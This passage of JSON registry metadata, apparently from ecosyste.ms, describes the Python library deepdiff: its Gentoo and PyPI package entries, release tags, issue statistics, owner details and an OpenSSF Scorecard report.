ull,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v1.0.1/manifests"},{"name":"v0.6.1","sha":"10c0debca3649ff9a4ac2fffea7fad596e5e97a0","kind":"tag","published_at":"2015-12-14T00:36:11.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v0.6.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.6.1/manifests"},{"name":"v0.5.6","sha":"3f09562b6e78facb7bac82dbbe9dbcb0b9e22768","kind":"tag","published_at":"2015-08-11T23:12:36.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v0.5.6","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"6e92f46827739b5517cc47b24cc16f672805a669","kind":"tag","published_at":"2015-07-26T07:58:25.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/v0.5.5","html_url":"https://github.com/qlustered/deepdiff/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/v0.5.5/manifests"}]},"repo_metadata_updated_at":"2026-08-20T14:35:51.501Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:gentoo/dev-python/deepdiff","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/gentoo/dev-python/deepdiff","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/gentoo/dev-python/deepdiff","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/gentoo/dev-python/deepdiff/dependencies","status":null,"funding_links":["https://github.com/sponsors/seperman","https://ko-fi.com/seperman"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-20T10:30:21.742Z","issues_count":6,"pull_requests_count":32,"avg_time_to_close_issue":null,"avg_time_to_close_pull_request":2847796.0,"issues_closed_count":0,"pull_requests_closed_count":19,"pull_request_authors_count":16,"issue_authors_count":6,"avg_comments_per_issue":0.5,"avg_comments_per_pull_request":0.9375,"merged_pull_requests_count":9,"bot_issues_count":0,"bot_pull_requests_count":7,"past_year_issues_count":6,"past_year_pull_requests_count":31,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":1913682.611111111,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":18,"past_year_pull_request_authors_count":16,"past_year_issue_authors_count":6,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":0.9354838709677419,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":7,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/issues","maintainers":[{"login":"seperman","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/seperman"}],"active_maintainers":[{"login":"seperman","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/seperman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fdeepdiff/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fdeepdiff/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fdeepdiff/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fdeepdiff/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fdeepdiff/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-python%2Fdeepdiff/codemeta","maintainers":[],"registry":{"name":"gentoo-portage","url":"https://packages.gentoo.org/","ecosystem":"gentoo","default":true,"packages_count":19524,"maintainers_count":0,"namespaces_count":174,"keywords_count":1054,"github":"gentoo","metadata":{"snapshot_url":"https://distfiles.gentoo.org/snapshots/portage-latest.tar.xz","funded_packages_count":620},"icon_url":"https://github.com/gentoo.png","created_at":"2026-05-26T08:59:24.155Z","updated_at":"2026-08-24T05:05:20.930Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/namespaces"}},{"id":2629476,"name":"deepdiff","ecosystem":"pypi","description":"Deep Difference and Search of any Python object/data. Recreate objects by adding adding deltas to each other.","homepage":"https://zepworks.com/deepdiff/","licenses":"MIT License","normalized_licenses":["MIT"],"repository_url":"https://github.com/qlustered/deepdiff","keywords_array":[],"namespace":null,"versions_count":91,"first_release_published_at":"2014-09-27T20:16:59.000Z","latest_release_published_at":"2026-05-15T20:18:03.000Z","latest_release_number":"9.1.0","last_synced_at":"2026-08-23T12:01:27.125Z","created_at":"2022-04-10T07:01:06.699Z","updated_at":"2026-08-23T12:22:42.897Z","registry_url":"https://pypi.org/project/deepdiff/","install_command":"pip install deepdiff --index-url https://pypi.org/simple","documentation_url":"https://zepworks.com/deepdiff/","metadata":{"funding":null,"documentation":"https://zepworks.com/deepdiff/","classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","License :: OSI Approved :: MIT License","Operating System :: OS Independent","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: Implementation :: PyPy","Topic :: Software Development"],"normalized_name":"deepdiff","project_status":null},"repo_metadata":{"id":21179691,"uuid":"24484622","full_name":"qlustered/deepdiff","owner":"qlustered","description":"DeepDiff: Deep Difference and search of any Python object/data. DeepHash: Hash of any object based on its contents. Delta: Use deltas to reconstruct objects by adding deltas together.","archived":false,"fork":false,"pushed_at":"2026-08-04T06:37:44.000Z","size":3627,"stargazers_count":2521,"open_issues_count":105,"forks_count":277,"subscribers_count":27,"default_branch":"master","last_synced_at":"2026-08-20T10:37:22.050Z","etag":null,"topics":["comparison","deep-search","deepdiff","deephash","delta","diff","difference","distance","distance-calculation","hash","hashing","nested","python","reconstruction","recursive","repetition","report-repetition","tree"],"latest_commit_sha":null,"homepage":"https://zepworks.com/deepdiff","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qlustered.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":null,"support":"docs/support.rst","governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["seperman"],"ko_fi":"seperman"}},"created_at":"2014-09-26T03:21:47.000Z","updated_at":"2026-08-19T08:18:49.000Z","dependencies_parsed_at":"2026-08-20T10:40:42.703Z","dependency_job_id":null,"html_url":"https://github.com/qlustered/deepdiff","commit_stats":{"total_commits":959,"total_committers":85,"mean_commits":"11.282352941176471","dds":"0.25651720542231493","last_synced_commit":"6d8a4c7c32d5ac57919955954790be994d01fe57"},"previous_names":["qlustered/deepdiff"],"tags_count":63,"template":false,"template_full_name":null,"purl":"pkg:github/qlustered/deepdiff","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/sbom","scorecard":{"id":811627,"data":{"date":"2025-08-11","repo":{"name":"github.com/seperman/deepdiff","commit":"b639fece73fe3ce4120261fdcff3cc7b826776e3"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":2,"reason":"Found 1/4 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/main.yaml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yaml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yaml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yaml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yaml:30","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   1 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-23T13:20:34.678Z","repository_id":21179691,"created_at":"2025-08-23T13:20:34.678Z","updated_at":"2025-08-23T13:20:34.678Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36792486,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"qlustered","name":"Qluster","uuid":"76008367","kind":"organization","description":"Data Quality Firewall","email":null,"website":"https://qluster.ai","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/76008367?v=4","repositories_count":1,"last_synced_at":"2023-05-18T07:33:15.043Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/qlustered","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-05-18T07:33:15.045Z","updated_at":"2023-05-18T07:33:15.045Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered/repositories"},"tags":[{"name":"9.0.0","sha":"41c726586cfef55de0c8474923d2734f1529d223","kind":"commit","published_at":"2026-03-30T06:18:13.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/9.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/9.0.0/manifests"},{"name":"8.6.2","sha":"0d07ec21d12b46ef4e489383b363eadc22d990fb","kind":"commit","published_at":"2026-03-18T17:26:35.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.6.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.2/manifests"},{"name":"8.6.1","sha":"60ac5b903dbd662e0e83bf7b481df97d42f693df","kind":"commit","published_at":"2025-09-03T19:38:30.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.6.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.1/manifests"},{"name":"8.6.0","sha":"6f3d5eeb81083c816cf1a4f9eff3f1de2150a96a","kind":"tag","published_at":"2025-08-08T18:59:58.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.6.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.0/manifests"},{"name":"8.5.0","sha":"ba85943dc0d188f631f7c0f37d64241d489ad1e1","kind":"commit","published_at":"2025-05-09T18:29:12.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.5.0/manifests"},{"name":"8.4.1","sha":"ee5af9cf5f8a455b3fb92db98bc1b317765d70ba","kind":"commit","published_at":"2025-03-17T05:38:19.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.4.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.1/manifests"},{"name":"8.4.0","sha":"f86189e2e2ad4060400823d015c7bae84ec8a367","kind":"commit","published_at":"2025-03-16T07:55:41.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.4.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.0/manifests"},{"name":"8.3.0","sha":"6e1ae6761f345c86eaf5ff84fd0d433a6dd405b5","kind":"tag","published_at":"2025-03-06T00:01:08.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"c9d78f0aa6182ccf42478fc89541dcad3c4398f8","kind":"tag","published_at":"2025-02-04T07:56:33.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.2.0/manifests"},{"name":"8.1.1","sha":"c7183695a8b2049e53cfabc48c7b5adb28e45185","kind":"commit","published_at":"2024-12-16T23:53:34.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.1.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"e7d10fe8f374476fc4dcb5dd867f26f18f99ecf2","kind":"commit","published_at":"2024-12-16T23:45:57.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.1.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"6d8a4c7c32d5ac57919955954790be994d01fe57","kind":"commit","published_at":"2024-08-28T20:23:20.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.0.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"5ac42b7be2eae5e1cf8350ecce9d9599e181f651","kind":"commit","published_at":"2024-08-27T21:48:54.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.0/manifests"},{"name":"7.0.1","sha":"be22027e86ccb531164404fce7fc43a6633ac135","kind":"commit","published_at":"2024-04-08T22:57:11.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/7.0.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/7.0.1/manifests"},{"name":"6.7.1","sha":"89c5cc227c48b63be4a0e1ad4af59d3c1b0272d7","kind":"commit","published_at":"2023-11-14T07:16:07.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.7.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.7.1/manifests"},{"name":"6.6.0","sha":"17f34a7fe2dad13911dd7d3a54eb1cf95a183cc4","kind":"commit","published_at":"2023-10-04T22:43:49.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.6.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.6.0/manifests"},{"name":"6.4.1","sha":"888ca776a21cecb243ccf283ce29347bb4897c34","kind":"commit","published_at":"2023-09-01T16:44:00.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.4.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.1/manifests"},{"name":"6.4.0","sha":"01260075e4f043116bf3d8c87c56458b89ee4707","kind":"commit","published_at":"2023-09-01T00:25:28.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.4.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.4.0/manifests"},{"name":"6.3.1","sha":"cb31948b5c8ed295c9720fbf3cf2b9f8073acd14","kind":"tag","published_at":"2023-07-06T14:27:45.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.3.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.3.1/manifests"},{"name":"6.3.0","sha":"d2b5ec6487b6720faaa4f778309611e30b554387","kind":"commit","published_at":"2023-03-17T18:27:19.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/6.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitH